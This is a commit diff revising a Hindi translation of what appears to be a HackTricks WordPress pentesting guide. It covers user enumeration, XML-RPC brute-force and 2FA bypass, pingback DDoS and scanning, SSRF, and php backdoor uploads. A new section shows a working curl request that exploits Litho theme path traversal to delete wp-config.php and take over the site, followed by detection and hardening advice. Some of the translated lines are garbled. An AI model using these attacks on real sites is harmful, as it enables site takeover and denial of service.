Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:58:52 +00:00
parent 27349f2795
commit 6c132a1701

View File

@ -22,7 +22,7 @@
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करत है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करत है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
@ -30,7 +30,7 @@
**Post exploitation**
- `wp-config.php` फ़ाइल में डेटाबेस से कनेक्ट करने के लिए WordPress द्वारा आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
- `wp-config.php` फ़ाइल में WordPress द्वारा डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
### Users Permissions
@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### प्लगइन्स और थीम
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)।
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि ऐसे स्वचालित उपकरण हैं जो इन सूचियों को शामिल करते हैं)।
### उपयोगकर्ता
- **आईडी ब्रूट:** आप ब्रूट फोर्सिंग उपयोगकर्ता आईडी के माध्यम से एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
- **आईडी ब्रूट:** आप उपयोगकर्ता आईडी को ब्रूट फोर्स करके एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि आईडी **मान्य** है। यदि प्रतिक्रिया **400** है, तो आईडी **अमान्य** है।
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी क्वेरी करने की कोशिश कर सकते हैं:
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए यह भी प्रयास कर सकते हैं:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -107,9 +107,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### XML-RPC
यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुंचने का प्रयास करें और यह अनुरोध भेजें:
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
**जांचें**
```html
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,17 +168,17 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
इसके अलावा, **`system.multicall`** का उपयोग करके क्रेडेंशियल्स को ब्रूट-फोर्स करने का एक **तेज़ तरीका** है, क्योंकि आप एक ही अनुरोध पर कई क्रेडेंशियल्स का प्रयास कर सकते हैं:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA को बायपास करें**
**2FA बायपास करें**
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
**DDoS या पोर्ट स्कैनिंग**
यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
यदि आप सूची में _**pingback.ping**_ विधि पा सकते हैं, तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
इसका उपयोग **हजारों** Wordpress **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
```html
<methodCall>
@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
यदि आपको **faultCode** एक मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
यदि आपको **faultCode** एक मान **greater** के साथ **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर ध्यान दें।
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
**DDoS**
```html
@ -210,14 +210,14 @@ DDoS का कारण बनने के लिए इस विधि क
### wp-cron.php DoS
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** चलाई जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** निष्पादित होती है, इसलिए इसका उपयोग **हमलावरों** द्वारा **DoS** **कारण** बनाने के लिए किया जा सकता है।\
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनानाrecommended है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए)।
Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ उत्पन्न किए)।
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।
जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है:
@ -229,7 +229,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है।
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने की कोशिश करता है।
## Automatic Tools
```bash
@ -239,14 +239,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Get access by overwriting a bit
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते थे
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते हैं
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **पैनल RCE**
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता)**
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)**
दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
@ -268,8 +268,8 @@ to get a session.
### PHP plugin
यह संभव है कि आप एक प्लगइन के रूप में .php फ़ाइलें अपलोड कर सकें।\
उदाहरण के लिए, अपना php बैकडोर बनाएं:
यह संभव है कि .php फ़ाइलों को एक प्लगइन के रूप में अपलोड किया जा सके।\
उदाहरण के लिए, अपने php बैकडोर को बनाएं:
![](<../../images/image (183).png>)
@ -281,11 +281,11 @@ to get a session.
![](<../../images/image (249).png>)
Procced पर क्लिक करें:
Proceed पर क्लिक करें:
![](<../../images/image (70).png>)
संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपकी शेल अपलोड हो गई है:
संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपका शेल अपलोड हो गया है:
![](<../../images/image (462).png>)
@ -295,19 +295,19 @@ Procced पर क्लिक करें:
### Uploading and activating malicious plugin
यह विधि एक ज्ञात कमजोर दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
यह विधि एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे कमजोर माना जाता है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहा**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहा**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
- डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
4. **Exploitation**:
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह कमजोर है।
- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
- यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है।
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह कमजोर माना जाता है।
- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
- यह नोट किया गया है कि यह WordPress साइट का शोषण करने के कई तरीकों में से एक है।
सामग्री में WordPress डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
**अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -334,13 +334,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Attack Surface
एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और [**इस ब्लॉग पोस्ट**](https://nowotarski.info/wordpress-nonce-authorization/) में कुछ कमजोर प्लगइनों के उदाहरण।
एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और [**इस ब्लॉग पोस्ट**](https://nowotarski.info/wordpress-nonce-authorization/) में कुछ कमजोर प्लगइन्स के उदाहरण।
- **`wp_ajax`**
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)।
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जो **किसी भी उपयोगकर्ता को जो Wordpress उदाहरण में प्रमाणित है, हो सकता है** (इसके भूमिका के स्वतंत्र)।
ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है:
ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।**
> [!CAUTION]
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है `wp_verify_nonce` फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
- **REST API**
@ -370,17 +370,93 @@ $this->namespace, '/get/', array(
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)
WordPress थीम और प्लगइन्स अक्सर `wp_ajax_` और `wp_ajax_nopriv_` हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब **_nopriv_** संस्करण का उपयोग किया जाता है **तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए:
1. एक **क्षमता जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
2. एक **CSRF nonce** जो `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
3. **कठोर इनपुट सफाई / मान्यता**
Litho बहुउद्देशीय थीम (< 3.1) ने *Remove Font Family* चर में उन 3 ियंत्रण भूल गय और अंतत िम्नलिि (सरल) भेज:
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
इस स्निपेट द्वारा उत्पन्न समस्याएँ:
* **अप्रमाणित पहुँच** `wp_ajax_nopriv_` हुक पंजीकृत है।
* **कोई नॉनस / क्षमता जांच नहीं** कोई भी आगंतुक एंडपॉइंट को हिट कर सकता है।
* **कोई पथ स्वच्छता नहीं** उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है।
#### शोषण
एक हमलावर किसी भी फ़ाइल या निर्देशिका को **अपलोड्स बेस निर्देशिका के नीचे** (सामान्यतः `<wp-root>/wp-content/uploads/` ) को हटाने के लिए एकल HTTP POST अनुरोध भेज सकता है:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
#### Detection checklist
* कोई भी `add_action( 'wp_ajax_nopriv_...')` कॉलबैक जो फ़ाइल सिस्टम हेल्पर्स (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता है।
* पथों में असंक्रमित उपयोगकर्ता इनपुट का संयोजन (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
#### Hardening
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त समझें और दोबारा जांचें:
> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
---
## WordPress सुरक्षा
### नियमित अपडेट
सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अद्यतित हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
सुनिश्चित करें कि WordPress, प्लगइन्स, और थीम अपडेटेड हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स इंस्टॉल करें**
Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें**।
### सुरक्षा प्लगइन्स
@ -396,4 +472,8 @@ Also, **केवल विश्वसनीय WordPress प्लगइन्
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।
## संदर्भ
- [Litho थीम में अनधिकृत मनमाना फ़ाइल हटाने की भेद्यता](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}